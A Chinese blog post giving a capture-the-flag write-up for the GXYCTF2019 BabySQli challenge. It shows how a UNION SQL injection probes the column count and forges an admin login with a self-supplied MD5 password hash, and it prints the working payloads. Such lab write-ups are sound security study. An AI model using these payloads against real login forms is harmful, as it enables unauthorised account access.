[GXYCTF2019]BabySQli

界面就只有一个登录框

通过这个题学到了联合注入有个技巧:
在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。

例如现在有一个表:

我们输入查询语句:

SELECT * FROM `sc` where Sno= '201215121' union select 'admin','admin123','123456'

可以看出当不存在数据时,联合查询会虚构一个虚拟的数据

利用构造一个虚拟身份来进行伪造真实身份,从而绕过审核机制。

所以这道题需要先知道它有几列
输入'union select 1,2,3#

提示wrong user!


输入'union select 1,2,3,4#
提示Error: The used SELECT statements have a different number of columns
说明有三列,猜测第二列使用户名,第三列使密码,而且密码一般使md5加密,所以我们构造payload:
账号:' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#
密码:123456

即可得到flag

这道题的精髓就是:
当查询的数据不存在的时候,联合查询就会构造一个虚拟的数据。

本文作者:Author:     文章标题:sql注入学习记录(9)-联合查询不存在的数据时会构造虚拟数据
本文地址:https://yuaneuro.cn/archives/21.html     
版权说明:若无注明,本文皆为“yuaneuro的小站”原创,转载请保留文章出处。
Last modification:April 11th, 2020 at 08:17 pm